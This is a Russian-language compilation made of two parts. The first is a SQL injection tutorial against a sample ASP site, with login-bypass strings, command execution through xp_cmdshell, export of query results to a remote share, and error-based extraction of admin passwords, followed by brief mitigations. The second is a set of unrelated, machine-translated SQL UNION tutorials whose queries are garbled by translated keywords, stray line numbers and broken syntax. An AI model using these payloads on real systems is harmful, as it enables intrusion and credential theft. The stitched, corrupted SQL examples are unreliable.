Давайте рассмотрим другой пример, который объясняет полезность
конструкции ‘ or 1=1—

. Кроме обхода регистрации, также можно рассмотреть дополнительную
информацию, которая обычно не доступна. Рассмотрим asp страницу, которая
ссылается на другую страницу со следующим URL:


http://duck/index.asp?category=food


В URL, ‘category’ – это имя переменной, и ‘food’ – значение, назначенное этой
переменной. Чтобы это сделать, asp страница может содержать следующий код:


v_cat = request(«category»)

sqlstr=»SELECT * FROM product WHERE PCategory='» & v_cat & «‘»

set rs=conn.execute(sqlstr)


как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос
должен стать:


SELECT * FROM product WHERE PCategory=’food’


Этот запрос должен возвратить набор, содержащий одну или более строк, которые
соответствуют условию WHERE, в этом случае ‘food’. Теперь изменим URL следующим
образом:


http://duck/index.asp?category=food’ or 1=1—
SELECT * FROM product WHERE PCategory=’food’ or 1=1—‘


Этот запрос возвратит все строки в таблице product, независимо от того,
Pcategory равен ‘food’ или нет. Двойная черточка «-» сообщает, что MS SQL сервер
игнорирует остальную часть запроса, которая следует за одиночной кавычкой (‘).
Иногда можно заменить двойную черточку на диез «#».


Однако, если используется не SQL сервер, или вы не можете игнорировать остальную
часть запроса, пробуйте:


‘ or ‘a’=’a


Теперь SQL запрос станет:


SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’


Этот запрос возвратит тот же самый результат.


В зависимости от фактического SQL запроса, вероятно, придется пробовать
некоторые из этих возможностей:


‘ or 1=1—
» or 1=1—
or 1=1—
‘ or ‘a’=’a
» or «a»=»a
‘) or (‘a’=’a


4.0 Как можно удаленно выполнять команды, используя SQL injection?


Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL
запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется
с системными правами. Мы можем вызвать встроенные процедуры, типа
master..xp_cmdshell, для удаленного выполнения произвольных команд:


‘; exec master..xp_cmdshell ‘ping 10.10.1.2’ —


Попробуйте использовать двойные кавычки («), если (‘) не срабатывает.


Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL
команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP
пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:


http://securitylab.ru/?ID=31610


Если вы не получили никакой запрос утилиты ping от сервера, и получаете
сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор
ограничил доступ Web пользователя к сохраненным процедурам.


5.0 Как получить результаты моего SQL запроса?


Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:


‘; EXEC master..sp_makewebtask «\\10.10.1.3\share\output.html», «SELECT *
FROM INFORMATION_SCHEMA.TABLES»


Указываемый IP должен иметь папку «share» с доступом для Everyone.


6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?


Мы можем использовать информацию из сообщения об ошибке, произведенной SQL
сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:


http://duck/index.asp?id=10


Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:


http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES—


Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на
сервере.


Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была
выбрана, потому что мы знаем, что она всегда существует. Наш запрос:


SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—


Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое
значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к
integer. Это вызовет ошибку, которая сообщит, что не может преобразовать
nvarchar к int. Сервер выдаст следующую ошибку:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘table1’ to a column of data type int.

/index.asp, line 5


Сообщение об ошибке содержит информацию о значении, которое не может быть
преобразовано в целое. В этом случае, мы получили имя первой таблицы — «table1».


Для получения следующего имени таблицы, мы можем использовать следующий запрос:


http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)—


Мы также можем искать данные, используя ключ LIKE:


http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5


Соответствующая конструкция ‘%25login%25’ будет заменена на %login% в SQL
сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию «admin_login».


6.1 Как узнать все имена столбцов в таблице?


Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все
имена столбцов в таблице:


http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5


Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(),
чтобы получить имя следующего столбца:


http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT
IN (‘login_id’)—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5


Продолжая, мы получим остальные имена столбцов, т.е. «password», «details», пока
не получим следующую ошибку.


http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT
IN (‘login_id’,’login_name’,’password’,details’)—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the
select list if the statement contains a UNION operator.

/index.asp, line 5


6.2. Как нам получить нужные нам данные?


Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем
использовать ту же самую методику, что бы получить информацию из базы данных.


Давайте получим первый login_name из таблицы «admin_login»:


http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5


Теперь мы знаем, что есть admin пользователь с именем входа в систему «neo».
Наконец, мы можем получить пароль «neo»:


http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name=’neo’—


Выдаст:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5


Теперь мы сможем войти в систему как «neo» с паролем ‘m4trix’.


6.3 Как получить числовое значение строки?


Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об
ошибке, если мы попробуем преобразовать текст, который состоит из
числа (только
символы между 0…9). Сейчас мы опишем получение пароля «31173» у пользователя
«trinity»:


http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name=’trinity’—


Мы вероятно получим ошибку «Page Not Found». Причина в том, что пароль «31173»
будет преобразован в число, перед UNION с целым числом ( в нашем случае 10). Так
как получится правильное UNION выражение, SQL сервер не выдаст сообщение об
ошибке, и таким образом мы не сможем получить числовую запись.


Чтобы решить эту проблему, мы можем добавить в конец числовую строку с
некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:


http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int,
password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’—


Мы просто используем знак «плюс» (+) для того, чтобы добавить в конец пароль с
любым текстом (ASSCII кодирование для ‘+’ = 0x2b). Затем, мы добавим в конец
‘%20morpheus’ в фактический пароль. Поэтому, даже если значение пароля ‘31173’,
он станет ‘31173 morpheus’. Вручную вызывая функцию convert(), пытаясь
преобразовать ‘ 31173 morpheus’ в целое число, SQL Сервер выдаст ODBC сообщение
об ошибке:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5


Теперь мы сможем войти в систему как «trinity» с паролем ‘31173’.


7.0 Как модифицировать/вставить данные в базу данных?


После того, как мы получили имена всех столбцом в таблице, мы сможем
обновить(UPDATE) или
даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для «neo»:


http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5’
WHERE login_name=’neo—


Чтобы внести (INSERT) новую запись в базу данных:


http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’,
‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)—


Теперь мы сможем войти в систему как «neo» с паролем ‘newpas5’.


8.0 Как избежать SQL Injection?


Фильтруйте специальные символы во всех строках в:


— любых данных, вводимых пользователем

— URL параметрах

— Cookie


Для числовых значений, конвертируйте их к integer, перед передачей их к SQL
запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.


Запускайте SQL сервер как непривилегированный пользователь.


Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail,
xp_sendmail, sp_makewebtask

Оператор SQL UNION


Оператор SQL UNION

Оператор UNION используется для объединения набора результатов из двух или более
ВЫБРАТЬ
заявления.

  • Каждую SELECT выписку в
    UNION должен иметь такой же номер
    колонн
  • Столбцы также должны иметь похожие типы данных
  • Колонны в
    каждый оператор SELECT также должен быть в том же порядке

UNION Синтаксис

ВЫБРАТЬ имя_столбца ИЗ table1
UNION
ВЫБРАТЬ имя_столбца FROM table2 ;

UNION ALL Синтаксис

Оператор UNION по умолчанию выбирает только отдельные значения.Позволять
повторяющиеся значения, используйте UNION ALL :

ВЫБРАТЬ имя_столбца ИЗ таблица1
ОБЪЕДИНЕНИЕ ВСЕ
ВЫБРАТЬ имя_столбца ИЗ таблица2 ;

Примечание: Имена столбцов в наборе результатов обычно равны
имена столбцов в первом операторе SELECT .


Демо-база данных

В этом руководстве мы будем использовать хорошо известный образец базы данных Northwind.

Ниже представлен выбор из таблицы «Клиенты»:

Идентификатор клиента Имя клиента ContactName Адрес Город Почтовый индекс Страна
1 Альфредс Футтеркисте Мария Андерс Obere Str.57 Берлин 12209 Германия
2 Ana Trujillo Emparedados y helados Ана Трухильо Avda. de la Constitución 2222 México D.F. 05021 Мексика
3 Антонио Морено Такерия Антонио Морено Матадерос 2312 México D.F. 05023 Мексика

И выбор из таблицы «Поставщики»:

ID поставщика SupplierName ContactName Адрес Город Почтовый индекс Страна
1 Экзотическая жидкость Шарлотта Купер ул. Гилберта, 49 Лондон EC1 4SD Великобритания
2 Новый Орлеан Cajun Delights Шелли Берк P.O. Box 78934 Новый Орлеан 70117 США
3 Усадьба бабушки Келли Регина Мерфи 707 Oxford Rd. Анн-Арбор 48104 США


Пример SQL UNION

Следующий оператор SQL возвращает города
(только различные значения) из таблиц «Клиенты» и «Поставщики»:

Пример

ВЫБРАТЬ город ИЗ клиентов
СОЮЗ
ВЫБРАТЬ город ИЗ поставщиков
ЗАКАЗАТЬ Город;

Попробуй сам »

Примечание: Если у некоторых клиентов или поставщиков один и тот же город, каждый город будет
указан один раз, потому что UNION выбирает только отдельные значения.Использовать
UNION ALL , чтобы также выбрать
повторяющиеся значения!


SQL UNION ALL Пример

Следующий оператор SQL возвращает города
(также повторяющиеся значения) из таблиц «Клиенты» и «Поставщики»:

Пример

ВЫБРАТЬ город ИЗ клиентов
СОЮЗ ВСЕ
ВЫБРАТЬ город ИЗ поставщиков
ЗАКАЗАТЬ ПО городу;

Попробуй сам »


SQL UNION с WHERE

Следующий оператор SQL возвращает города Германии.
(только различные значения) из таблиц «Клиенты» и «Поставщики»:

Пример

ВЫБЕРИТЕ город, страну из числа клиентов
ГДЕ Страна = ‘Германия’
СОЮЗ
ВЫБЕРИТЕ город, страну ОТ поставщиков
ГДЕ Страна = ‘Германия’
ЗАКАЗАТЬ ПО городу;

Попробуй сам »


SQL UNION ALL с WHERE

Следующий оператор SQL возвращает города Германии (также повторяющиеся значения) из
как в таблице «Клиенты», так и в таблице «Поставщики»:

Пример

ВЫБЕРИТЕ город, страну из числа клиентов
ГДЕ Страна = ‘Германия’
СОЕДИНЕНИЕ ВСЕ
ВЫБЕРИТЕ город, страну ОТ поставщиков
ГДЕ Страна = ‘Германия’
ЗАКАЗАТЬ ПО городу;

Попробуй сам »


Другой пример UNION

В следующем операторе SQL перечислены все клиенты и поставщики:

Пример

ВЫБЕРИТЕ «Клиент» КАК Тип, Контактное имя, Город, Страна
ИЗ клиентов
СОЕДИНЕНИЕ
ВЫБЕРИТЕ «Поставщик», Контактное имя, Город, Страна
ОТ Поставщиков;

Попробуй сам »

Обратите внимание на «Тип AS» выше — это псевдоним.SQL
Псевдонимы используются для присвоения таблице или столбцу временного имени.
Псевдоним существует только на время запроса. Итак, здесь мы создали
временный столбец с именем «Тип», в котором указано, является ли контактное лицо
«Заказчик» или «Поставщик».

SQL Server UNION: The Ultimate Guide

Резюме : в этом руководстве вы узнаете, как использовать SQL Server UNION для объединения результатов двух или более запросов в единый набор результатов.

Введение в SQL Server

UNION

SQL Server UNION — одна из операций над наборами, которая позволяет объединить результаты двух операторов SELECT в единый набор результатов, который включает все строки, принадлежащие к SELECT заявлений в союзе.

Ниже показан синтаксис SQL Server UNION :

 

query_1 СОЮЗ query_2

Язык кода: SQL (язык структурированных запросов) (sql)

Ниже приведены требования для запросов в синтаксисе выше:

  • Число и порядок столбцов должны быть одинаковыми в обоих запросах.
  • Типы данных соответствующих столбцов должны быть одинаковыми или совместимыми.

На следующей диаграмме Венна показано, как результирующий набор объединений таблицы T1 с набором результатов таблицы T2:

UNION vs. UNION ALL

По умолчанию оператор UNION удаляет все дубликаты. строки из наборов результатов. Однако, если вы хотите сохранить повторяющиеся строки, вам необходимо явно указать ключевое слово ALL , как показано ниже:

 

query_1 СОЮЗ ВСЕ query_2

Язык кода: SQL (язык структурированных запросов) (sql)

Другими словами, оператор UNION удаляет повторяющиеся строки, а оператор UNION ALL включает повторяющиеся строки в окончательный набор результатов.

UNION vs. JOIN

Соединение, такое как INNER JOIN или LEFT JOIN , объединяет столбцов из двух таблиц, а UNION объединяет строк из двух запросов.

Другими словами, объединение добавляет набор результатов по горизонтали, а объединение — по вертикали.

На следующем рисунке показано основное различие между UNION и JOIN :

SQL Server

UNION примеры

См. Следующие staff и клиентов таблиц из образца базы данных:

UNION и UNION ALL примеров

В следующем примере имена сотрудников и клиентов объединены в единый список:

 

SELECT имя, фамилия ИЗ продажи.штабы СОЮЗ ВЫБРАТЬ имя, фамилия ИЗ sales.customers;

Язык кода: SQL (язык структурированных запросов) (sql)

Возвращает 1454 строки.

Таблица staffs имеет 10 строк, а таблица клиентов — 1445 строк, как показано в следующих запросах:

 

SELECT СЧИТАТЬ (*) ИЗ sales.staffs; ВЫБРАТЬ СЧИТАТЬ (*) ИЗ sales.customers;

Язык кода: SQL (язык структурированных запросов) (sql)

Поскольку набор результатов объединения возвращает только 1454 строки, это означает, что одна повторяющаяся строка была удалена.

Чтобы включить повторяющуюся строку, используйте UNION ALL , как показано в следующем запросе:

 

SELECT имя, фамилия ИЗ sales.staffs СОЮЗ ВСЕ ВЫБРАТЬ имя, фамилия ИЗ sales.customers;

Язык кода: SQL (язык структурированных запросов) (sql)

Запрос возвращает 1455 строк, как ожидалось.

UNION и Пример ORDER BY

Чтобы отсортировать набор результатов, возвращаемый оператором UNION , поместите предложение ORDER BY в последний запрос следующим образом:

 

SELECT select_list ИЗ Таблица 1 СОЮЗ ВЫБРАТЬ select_list ИЗ Таблица 2 СОРТИРОВАТЬ ПО список заказов;

Язык кода: SQL (язык структурированных запросов) (sql)

Например, чтобы отсортировать имена и фамилии клиентов и сотрудников, используйте следующий запрос:

 

SELECT имя, фамилия ИЗ продажи.штабы СОЮЗ ВСЕ ВЫБРАТЬ имя, фамилия ИЗ sales.customers СОРТИРОВАТЬ ПО имя, фамилия;

Язык кода: SQL (язык структурированных запросов) (sql)

В этом руководстве вы узнали, как использовать SQL Server UNION для объединения строк из нескольких запросов в единый набор результатов.

Обзор, использование и примеры SQL UNION

В этой статье мы подробно расскажем об операторе SQL Union, описываем его многочисленные варианты использования с примерами и исследуем некоторые общие вопросы, такие как различия между Union и Union All.

Для удовлетворения реальных требований к данным нам может потребоваться объединить наборы результатов из нескольких источников данных, чтобы мы могли проводить анализ данных или создавать новые наборы данных. Наборы данных могут быть идентичными, но есть вероятность, что они ссылаются на разные таблицы. Есть ли способ объединить данные в один запрос? Являются ли операторы набора жизнеспособным вариантом? Давайте начнем и посмотрим, как можно использовать некоторых из существующих операторов, чтобы помочь нам решить эти общие проблемы.

В этой статье мы рассмотрим:

  1. Что такое оператор Set
  2. Union vs Union All и как они работают
  3. Обсудите правила использования Union vs Union All
  4. Синтаксис оператора SQL
  5. Как использовать простое предложение SQL Union в инструкции select
  6. Как использовать SQL Union с запросами, содержащими предложение WHERE
  7. Как использовать предложение SELECT INTO с Union
  8. Как использовать SQL Union с запросами, содержащими предложение WHERE и предложение order by
  9. Как использовать SQL Union и SQL Pivot
  10. Как использовать SQL Union с предложениями GROUP и HAVING

Операторы

Оператор — это символ, или ключевое слово определяет действие, которое выполняется над одним или несколькими выражениями в инструкции Select.

Оператор набора

Давайте подробно рассмотрим операторов набора в SQL Server и их использование.

В SQL Server есть четыре основных оператора множества:

  1. Союз
  2. Союз Все
  3. КРОМЕ
  4. ПЕРЕСЕЧЕНИЕ

Союз

Оператор Union объединяет результаты двух или более запросов в отдельный набор результатов, который включает все строки, принадлежащие всем запросам в Union.В этой операции он объединяет еще два запроса и удаляет дубликаты.

Например, таблица «A» содержит 1,2 и 3, а таблица «B» — 3,4,5.

SQL-эквивалент приведенных выше данных приведен ниже.

(

SELECT 1 ID

UNION

SELECT 2

UNION

SELECT 3

)

UNION

(

SELECT 3

UNION

SELECT 4

SELECT

SELECT

UNION

);

На выходе вы можете увидеть отдельный список записей из двух наборов результатов.

Союз Все

Глядя на Union vs Union All, мы обнаруживаем, что они очень похожи, но имеют некоторые важные отличия с точки зрения результатов.

Оператор Union объединяет результаты двух или более запросов в единый набор результатов, который включает все строки, принадлежащие всем запросам в Union. Проще говоря, он объединяет два или более наборов строк и сохраняет дубликаты.

Например, таблица «A» содержит 1,2 и 3, а таблица «B» — 3,4,5.

SQL-эквивалент приведенных выше данных приведен ниже.

(

SELECT 1 ID

UNION

SELECT 2

UNION

SELECT 3

)

UNION ALL

(

SELECT 3

UNION

SELECT 4

UNION

SELECT

UNION

);

На выходе вы можете увидеть все строки, которые также включают повторяющиеся записи.

INTERSECT

Оператор интереса сохраняет строки, общие для всех запросов.

Для того же набора данных из вышеупомянутого примера выходные данные оператора пересечения приведены ниже.

SQL-представление приведенных выше таблиц

(

SELECT 1 ID

UNION

SELECT 2

UNION

SELECT 3

)

INTERSECT

(

SELECT 3

UNION

SELECT 4

UNION

SELECT

UNION

);

Строка «3» является общей для двух наборов результатов.

ИСКЛЮЧАЯ

Оператор EXCEPT перечисляет строки в первом, которых нет во втором.

Для того же набора данных из вышеупомянутого примера выходные данные оператора Except приведены ниже.

SQL-представление вышеуказанных таблиц с оператором EXCEPT приведено ниже.

(

SELECT 1 [Необычный только из A]

UNION

SELECT 2

UNION

SELECT 3

)

EXCEPT

(

SELECT 3 B

UNION

SELECT

СОЮЗ

ВЫБРАТЬ 5

);

Перечислите необычные строки из первого набора.

Примечание: очень легко визуализировать оператор множества, используя диаграмму Венна, где каждая из таблиц представлена ​​пересекающимися фигурами. Пересечения фигур в местах наложения таблиц — это строки, в которых выполняется условие.

Синтаксис:

Синтаксис операторов Union vs Union All в SQL выглядит следующим образом:

ВЫБРАТЬ Столбец1, Столбец2,… СтолбецN
ИЗ <таблица>
[ГДЕ условия]
[ГРУППА ПО столбцам]
[ИМЕЮЩИЕ условие (я)]
СОЮЗ
ВЫБРАТЬ Столбец1, Столбец2,… СтолбецN
ИЗ стола
[ГДЕ условие (я)];
ORDER BY Column1, Column2…

Правила:

Есть несколько правил, которые применяются ко всем операторам множества:

  1. Выражения в каждой строке или количество столбцов, определенных в каждом запросе, должны иметь одинаковый порядок.
  2. Последующие наборы строк операторов SQL должны соответствовать типу данных первого запроса.
  3. Скобки позволяют создавать другие операторы множества в том же операторе.
  4. Предложение ORDER BY возможно, но это должно быть последнее предложение SQL.
  5. Предложения GROUP BY и HAVING могут применяться к индивидуальному запросу.

Примечание:

  1. Все эти операторы Set удаляют дубликаты, за исключением оператора Union All.
  2. Имена выходных столбцов ссылаются на первый запрос i.е. когда мы запускаем операторы SELECT с любым из операторов Set, и набор результатов каждого из запросов может иметь разные имена столбцов, поэтому результат оператора SELECT ссылается на имена столбцов из первого запроса в операции.
  3. SQL JOIN чаще используется для объединения столбцов из нескольких связанных таблиц, тогда как операторы SET объединяют строки из нескольких таблиц.
  4. Если типы выражений одинаковы, но различаются по точности, масштабу или длине, результат определяется на основе тех же правил комбинирования выражений.

Примеры:

Следующие запросы T-SQL подготавливаются и выполняются в базе данных Adventureworks2014.Вы можете скачать образец базы данных AdventireWorks2014 здесь

  1. Как использовать простое предложение SQL Union в инструкции select

    В этом примере набор результатов включает отдельный набор строк из первого набора и второго набора. Следующий пример основан на правиле 1, 3 и 5.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    ВЫБРАТЬ *

    ИЗ

    (

    (

    ВЫБРАТЬ 1 А

    СОЕДИНЕНИЕ

    ВЫБРАТЬ 2

    СОЕДИНЕНИЕ

    ВЫБРАТЬ 3

    )

    СОЕДИНЕНИЕ

    (

    05 ВЫБОР 3 BION

    SELECT 4

    UNION

    SELECT 5

    )

    UNION ALL

    (

    SELECT 8 c

    UNION

    SELECT 9

    UNION

    SELECT 1

    )

    ) T;

    Результатом является комбинация операторов Union и Union All, заключенных в круглые скобки.

    .

  2. Как использовать SQL Union с запросами, содержащими предложение WHERE

    В следующем примере показано использование Union в двух операторах SELECT с предложением WHERE и ORDER BY.

    Следующий пример основан на правиле 1,2 и 3.

    ВЫБРАТЬ P1.ProductModelID,

    P1.Name

    FROM Production.ProductModel P1

    ГДЕ ProductModelID IN (3, 4)

    UNION

    SELECT P2.ProductModelID,

    P2.Name

    FROM Productionl.Product .ProductModelID В (3, 4)

    ЗАКАЗАТЬ ПО P1.Name;

  3. Как использовать предложение SELECT INTO с SQL Union

    В следующем примере создается новый dbo.фиктивная таблица , использующая предложение INTO в первом операторе SELECT, который содержит окончательный набор результатов объединения столбцов ProductModel и name из двух разных наборов результатов. В этом случае он получен из одной и той же таблицы, но в реальной ситуации это также могут быть две разные таблицы. Следующий пример основан на правилах 1, 2 и 4.

    ТАБЛИЦА УДАЛЕНИЯ, ЕСЛИ СУЩЕСТВУЕТ dbo.дурачок;

    SELECT P1.ProductModelID,

    P1.Name

    INTO dummy

    FROM Production.ProductModel P1

    ГДЕ ProductModelID IN (3, 4)

    UNION

    SELECT P2.P2. ОТ Production.ProductModel P2

    ГДЕ P2.ProductModelID IN (3, 4)

    ORDER BY P1.Name;

    GO

    SELECT *

    FROM dbo.Dummy;

  4. Как использовать SQL Union с запросами, содержащими предложения WHERE и ORDER BY

    Это возможно только тогда, когда мы используем TOP или агрегатные функции в каждом операторе select оператора Union.В этом случае из каждого набора результатов перечисляются 10 верхних строк, которые объединяются с помощью предложения Union для получения окончательного результата. Вы также видите, что предложение order by помещено во все операторы select.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    17

    18

    19

    20

    21

    ВЫБРАТЬ a.ModelID,

    a.Name

    FROM

    (

    SELECT TOP 10 ProductModelID ModelID,

    Name

    FROM Production.ProductModel

    , ГДЕ ProductModelID НЕ В (3, 4)

    ORDER BY Name DESC) a

    UNION

    SELECT b.ProductModelID,

    b.Name

    FROM

    (

    SELECT TOP 10 ProductModelID,

    Name

    FROM Production.ProductModel

    ГДЕ ProductModelID IN (5, 6)

    ORDER BY Name DESC

    ) b;

  5. Как использовать SQL Union и SQL Pivot

    В следующем примере мы пытаемся объединить несколько наборов результатов. В реальной ситуации у вас могут быть финансовые показатели из разных регионов или отделов, а таблицы могут иметь одинаковые столбцы и типы данных, но вы хотите поместить их в один набор строк и в один отчет.В таком сценарии вы должны использовать предложение Union, и очень легко объединить результаты и преобразовать данные в более содержательный отчет.

    В этом примере ProductModel подразделяется на Top10, Top100, Top 100 и преобразует строки как агрегированный набор значений в соответствующие столбцы. Следующий пример основан на правиле 2.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    17

    18

    19

    20

    21

    22

    23

    24

    SELECT MAX (Top10) Top10,

    MAX (Top100) Top100,

    MAX (Top1000) Top100

    FROM

    (

    SELECT COUNT (*) Top10,

    0 Top100,

    0 Top1000

    ОТ ПРОИЗВОДСТВА.ProductModel

    ГДЕ ProductModelID <10

    UNION

    SELECT 0,

    COUNT (*),

    0

    FROM Production.ProductModel

    WHERE ProductModelID> 11

    AND ProductModelID <100 ,

    0,

    COUNT (*)

    FROM Production.ProductModel

    ГДЕ ProductModelID> 101

    ) T;

    Значения NULL очень важны для операторов Set и рассматриваются как второсортные граждане базы данных.Поскольку NULL считаются уникальными, и если две строки имеют NULL в одном столбце, они будут считаться идентичными, поэтому в этом случае вы фактически сравниваете NULL с NULL и получаете равенство. В следующем примере вы видите использование значений NULL. В этом случае он работает с агрегатной функцией, max .

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    17

    18

    19

    20

    21

    22

    23

    24

    SELECT MAX (Top10) Top10,

    MAX (Top100) Top100,

    MAX (Top1000) Top100

    FROM

    (

    SELECT COUNT (*) Top10,

    NULL Top100,

    NULL Top1000

    ОТ ПРОИЗВОДСТВА.ProductModel

    ГДЕ ProductModelID <10

    UNION

    SELECT NULL,

    COUNT (*),

    NULL

    FROM Production.ProductModel

    ГДЕ ProductModelID> 11

    ULL

    И UNION

    И UNION

    ProductModelID

    ,

    NULL,

    COUNT (*)

    FROM Production.ProductModel

    ГДЕ ProductModelID> 101

    ) T;

Как использовать SQL Union с предложениями Group и Have

В следующих примерах оператор Union используется для объединения результатов таблицы, у которых есть условное предложение, определенное с помощью предложения Group by и Have .

Фамилия анализируется путем указания условий в предложении have.

Следующий пример основан на правиле 5.

SELECT pp.lastname,

COUNT (*) повторяется дважды,

0 Repeatedthrice

FROM Person.Person AS pp

JOIN HumanResources.Employee AS e ON e.BusinessEntityID = pp.BusinessEntityID

GROUP BY pp.фамилия

HAVING COUNT (*) = 2

UNION

SELECT pp.LastName,

0,

COUNT (*) NtoZRange

FROM Person.Person AS pp

JOIN HumanResources.Employee AS e ON e. BusinessEntityID = pp.BusinessEntityID

ГРУППА ПО pp.LastName

HAVING COUNT (*)> 2;

Мы видим, что фамилии выводятся в два разных столбца с помощью оператора Union.

На этом пока все …

Сводка

До сих пор мы рассмотрели различные доступные параметры и правила, чтобы использовать операторы Set и понять, когда их использовать.При определении того, следует ли использовать Union или Union All, следует учесть несколько моментов. Используйте Union All, если вы знаете, что наборы результатов из нескольких запросов не пересекаются и не создают дубликатов, и помните, что если вам нужно использовать круглые скобки, вы можете это сделать. Вы также можете повернуть и преобразовать вывод.

Просто убедитесь, что ваши типы данных совпадают, и если вам нужно выполнить ORDER BY, сделайте это в конце, после того, как вы выполните все эти заданные запросы. По своей природе, когда дело доходит до Union vs Union All, Union All быстрее, чем Union; поскольку операторы Union несут дополнительные накладные расходы на устранение дубликатов.

Надеюсь, вам понравилась эта статья об операторе SQL Union. Не стесняйтесь задавать любые вопросы в комментариях ниже.

Я технолог по базам данных с более чем 11-летним богатым практическим опытом работы с технологиями баз данных. Я сертифицированный специалист Microsoft и имею степень магистра компьютерных приложений.

Моя специальность заключается в разработке и внедрении решений высокой доступности и кроссплатформенной миграции БД.В настоящее время работают над технологиями SQL Server, PowerShell, Oracle и MongoDB.

Посмотреть все сообщения от Prashanth Jayaram

Последние сообщения от Prashanth Jayaram (посмотреть все)

SQL Union против Union All в SQL Server

В этой статье объясняются операторы SQL Union и vs Union All в SQL Server. Мы также рассмотрим разницу между этими двумя операторами и различные варианты использования.

Обзор оператора SQL Union

В реляционной базе данных мы храним данные в таблицах SQL.Иногда нам нужно выбрать данные из нескольких таблиц и объединить набор результатов всех операторов Select. Мы используем оператор SQL Union, чтобы объединить два или более набора результатов оператора Select.

Синтаксис оператора SQL Union

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыA

СОЕДИНЕНИЕ

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыB;

Нам нужно позаботиться о следующих моментах, чтобы написать запрос с помощью SQL Union Operator.

  • Оба оператора Select должны иметь одинаковое количество столбцов.
  • Столбцы в обоих операторах Select должны иметь совместимые типы данных.
  • Порядок столбцов также должен совпадать в инструкции Select
  • Мы можем определить Group By и с предложением с каждым оператором Select. Их нельзя использовать с набором результатов
